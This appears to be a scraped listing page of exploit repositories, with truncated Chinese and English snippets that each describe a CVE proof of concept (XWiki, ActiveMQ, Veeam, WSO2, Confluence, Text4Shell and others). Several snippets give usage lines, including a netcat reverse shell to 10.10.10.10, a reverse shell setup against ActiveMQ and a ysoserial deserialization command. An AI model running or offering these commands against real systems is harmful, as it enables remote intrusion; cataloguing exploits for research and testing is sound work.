CVE-2019-0230-PoC

CVE-2019-0230 CVE-2019-0230 漏洞利用 这是 CVE-2019-0230 漏洞利用程序 : 使用方法 python3 cve-2019-230.py 示例： root@kitploit: python3 cve-2019-0230-poc.py pentest.com whoami Testing pentest.com! Command being passed for RCE: whoami 2020/10/22/...

CVE-2017-0108

Microsoft Office 2007 SP3、2010 SP2、Word Viewer、Skype for Business 2016、Lync 2013 SP1、Lync 2010、Live Meeting 2007、Silverlight 5、Windows Vista SP2、Windows Server 2008 SP2 及 R2 SP1、Windows 7 SP1 中的 Windows 图形组件允许远程攻击者通过精心构造的网站执行任意代码，此漏洞又名“图形组件远程代码执行漏洞”。此漏洞与 CVE-2017-0014 描述的不同。 此漏洞编号为 MS17-011 来自利比亚...

CVE-2022-31691

CVE-2022-31691 A write-up of my so far inconclusive look into CVE-2022-31691. Background I'm a frequent user of the Spring Tool Suite STS for Eclipse, and tend to rely on it to initialise new Spring Boot projects. This vulnerability see https://tanzu.vmware.com/security/cve-2022-31691 is an RCE...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - Remote code execution via insecure deserialisation. Timeline Vulnerability reported to vendor: 22.09.2023 New fixed 1.1.9.4 version released: 08.12.2023 Public disclosure: 15.12.2023 Description IBM i Access Client Solutions uses insecure...

bmc_bladelogic

BMC Bladelogic RSCD remote exploits for Linux and Windows Change passwords, List users and Remote code execution Exploiting vulnerabilities in BMC BladeLogic RSCD agent CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 Published on exploit-db BMCrexec.py...

CVE-2024-40711-Exp

Usages root@kitploit: .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" root@kitploit: Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp,...

CVE-2023-21939

JDK CVE-2023-21939 文章链接 This is JDK CVE-2023-21939 Use JDK version lower than 8u371 JDK + Apache XML Graphics root@kitploit: org.apache.xmlgraphics batik-swing 1.15 How to reproduce this RCE: 1 Run XmlServer.java 2 Run JarServer.java 3 Run JarRCE.java for Test and successfully RCE Screenshot: JDK...

SideCopy-Exploits-CVE-2023-38831

SideCopy Exploits CVE-2023-38831 CVE-2023-38831 is a Remote Code Execution RCE vulnerability in WinRAR that impacts WinRAR versions prior to 6.23. Here's how an attacker can exploit it: the malicious archive file contains both a benign file and a folder with the same name as the file. Typically,...

ninjasworkout

Damn Vulnerable NodeJS Application Quick Start root@kitploit: Download the Repo = run npm i Afer Installing all dependency just run the application root@kitploit: node app.js or nodemon app.js ADDED BUGS Prototype Pollution ✅1 No SQL Injection ✅2 Cross site Scripting ✅3 Broken Access Control ✅4...

CVE-2023-46604

CVE-2023-46604 构建docker-compose，其中包含两个镜像：受害机与目标机，按所需环境配置 在受害机上，启动ActiveMQ 切换到攻击机： • 开启HTTP服务以发送poc： python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷，建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中： Exploit.py：漏洞利用代码文件 -i...

kibana-prototype-pollusion

CVE-2019-7609 Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE Usage : root@kitploit: python3 exploit.py https://host:9443/ ArbitraryShellName.jsp...

CVE-2022-42889-PoC

CVE-2022-42889 a.k.a. Text4Shell RCE Proof of Concept Text4Shell is the popular name of a critical software vulnerability discovered in the Apache Commons Text library see CVE-2022-42889. This repo is meant to demonstrate a Remote Code Execution RCE that leverages this CVE. The vulnerable code is...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE This repository contains an exploit for CVE-2019-16278 in Nostromo Web Server 1.9.6, allowing remote code execution via a directory traversal vulnerability. The script uses pwntools to establish a reverse shell. For educational and authorized testing use only...

BotCon

BotCon Attlasian Confluence Un-Authenticated Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration CVE-2018-11235-Git PoC and tunneling with docker ngrok Build Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . Create custom network for ngrok root@kitploit: $ docker network create myngroknet Start Git Http Server...

Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. Go login page 2. Register new account, set password as P@$$w0rd!1234 3. Run script -u = Low priv user email No 2fa -a = Administrator email -t = URL Eg: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t...

CVE-2025-24893

CVE-2025-24893 针对 XWiki 版本低于 15.10.11、16.4.1 和 16.5.0RC1 的远程代码执行漏洞利用。 用法 root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 仅用于道德目的 :...

CVE-2025-25257

Table of Contents Overview Vulnerability Details Proof of Concept PoC Trolled2 Trolled3 Overview CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x. This flaw allows attackers to inject malicious SQL commands into th...

CVE-2021-25646

CVE-2021-25646 Apache Druid Remote Code Execution Vulnerability Wker Script Under development... ===================================================================================== First of all, thanks to Wker for the remote assistance. The purpose of writing the script is for practice. Usage T...